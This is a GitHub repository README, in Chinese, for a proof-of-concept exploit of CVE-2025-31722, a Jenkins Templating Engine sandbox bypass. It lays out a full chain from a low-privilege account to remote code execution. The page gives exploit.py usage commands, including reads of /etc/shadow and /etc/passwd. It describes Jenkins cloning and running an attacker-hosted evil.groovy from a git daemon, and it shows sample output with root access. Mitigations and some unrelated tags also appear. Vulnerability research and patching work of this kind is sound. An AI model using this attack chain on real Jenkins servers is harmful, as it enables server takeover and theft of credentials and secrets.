h3raklez/CVE-2025-31722
GitHub: h3raklez/CVE-2025-31722
针对 Jenkins Templating Engine 插件 ≤ 2.5.3 沙箱绕过漏洞的 PoC,自动化实现从低权限账户到 Jenkins 服务器 RCE 的完整攻击链。
Stars: 0 | Forks: 0
# CVE-2025-31722 — Jenkins Templating Engine RCE
## 描述
**Jenkins Templating Engine (JTE) 插件 <= 2.5.3** 中的沙箱绕过漏洞,允许低权限用户在 Jenkins 服务器上执行任意代码。
该漏洞的出现是因为 JTE 会从文件夹级别 *GovernanceTier* 配置中定义的外部 git 仓库加载库,并在 **Groovy 沙箱之外** 执行这些库中的步骤,而不管创建该 Job 的用户权限级别如何。
**CVSS:** 8.8 (高)
**类型:** 沙箱绕过 → RCE
**受影响组件:** `pipeline-templating-engine` 插件 ≤ 2.5.3
**修复版本:** 2.5.4+
## 攻击流程
```
Attacker (Kali) Jenkins Server
─────────────── ──────────────
1. Creates git repo with evil.groovy
2. Starts git daemon on :9418
3. Creates folder in Jenkins → Folder with GovernanceTier
pointing to git://KALI:9418/… pointing to attacker's repo
4. Creates job with AdHoc template → Job calls evil()
5. Triggers build → JTE clones repo from Kali
Executes evil() outside sandbox
← RCE as Jenkins user
```
## 环境要求
### Jenkins 服务器 (目标)
- 安装了 **Templating Engine 2.5.3** 插件的 Jenkins
- 插件: `cloudbees-folder`, `git`, `workflow-aggregator`
- 已禁用 CSRF
- 用户 `attacker` 具有以下权限: `Item/READ`, `Item/CREATE`, `Item/CONFIGURE`, `Item/BUILD`
- Built-In 节点在线且至少有 1 个执行器
- 服务器到攻击者 IP 的 **9418** 端口有出站网络连接
### 攻击机
- Python 3.8+
- 已安装 `git`
- **9418** 端口可从 Jenkins 服务器访问
- Python 库: `requests`
```
pip install requests
```
## 实验环境搭建
在 Debian/Ubuntu 服务器上安装的环境包含 Jenkins,并已配置用户、权限和所需插件。**它不会创建任何恶意内容** — 这部分完全由 PoC 处理。
## 使用方法
### 基础利用
```
python3 exploit.py \
--url http://:8080 \
--user attacker \
--pass attacker123 \
--git-host
```
### 自定义命令
```
python3 exploit.py \
--url http://:8080 \
--user attacker \
--pass attacker123 \
--git-host \
--cmd "cat /etc/shadow"
```
### 清理
```
python3 exploit.py \
--url http://:8080 \
--user attacker \
--pass attacker123 \
--git-host \
--cleanup
```
### 参数
| 参数 | 描述 | 必需 |
|-----------|-------------|----------|
| `--url` | Jenkins 基础 URL | 是 |
| `--user` | 具有 Item/CREATE+CONFIGURE+BUILD 权限的用户 | 是 |
| `--pass` | 用户密码 | 是 |
| `--git-host` | Jenkins 可访问的 Kali IP | 是 |
| `--cmd` | 在服务器上执行的命令 (默认: `id && hostname && cat /etc/passwd`) | 否 |
| `--cleanup` | 删除由漏洞利用程序创建的文件夹、Job 和仓库 | 否 |
## PoC 工作原理
1. **`setup_repo()`** — 在 Kali 上创建 `~/jte-exploit/evil-lib/steps/evil.groovy`,其中包含要执行的命令
2. **`start_git_daemon()`** — 在 Kali 的 9418 端口启动 `git daemon`
3. **`create_folder()`** — 在 Jenkins 中创建一个文件夹,其 `GovernanceTier` 指向 `git://KALI:9418/jte-exploit`
4. **`create_job()`** — 创建一个带有 `AdHocTemplateFlowDefinition` 的 Job,声明 `evil-lib` 并调用 `evil()`
5. **`trigger_and_wait()`** — 触发构建并等待结果
6. **`print_output()`** — 显示包含 RCE 结果的控制台输出
git daemon 在整个构建周期中保持活动状态,并在构建完成后自动终止。
## 预期输出
```
=================================================================
CVE-2025-31722 — Jenkins Templating Engine RCE
Target : http://10.211.55.10:8080
Git host: 10.211.55.7
Command : id && hostname && cat /etc/passwd
=================================================================
[+] Authenticated as: attacker (id=attacker)
[+] Repo created: /root/jte-exploit
[+] Malicious step: evil-lib/steps/evil.groovy
[+] Git daemon running at git://10.211.55.7:9418/jte-exploit
[+] Folder created
[+] Job created
[+] Build queued
=================================================================
CVE-2025-31722 — RCE OUTPUT
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================
```
## 缓解措施
- 将 Templating Engine 插件更新到版本 **2.5.4 或更高版本**
- 限制 `Item/CREATE` 和 `Item/CONFIGURE` 权限仅授予受信任的用户
- 在 Jenkins 中启用 CSRF 保护
- 审计具有指向外部仓库的 `GovernanceTier` 配置的文件夹
## 参考资料
- [Jenkins 安全公告](https://www.jenkins.io/security/advisories/)
- [JTE Plugin GitHub](https://github.com/jenkinsci/templating-engine-plugin)
标签:0day, CI/CD 安全, CISA项目, CVE-2025-31722, DevSecOps, Git, Groovy, Jenkins, Pipeline, RCE, Templating Engine, 上游代理, 人体姿态估计, 代码执行, 提权, 数据投毒防御, 文档安全, 沙箱逃逸, 编程工具, 网络安全, 网络安全研究, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞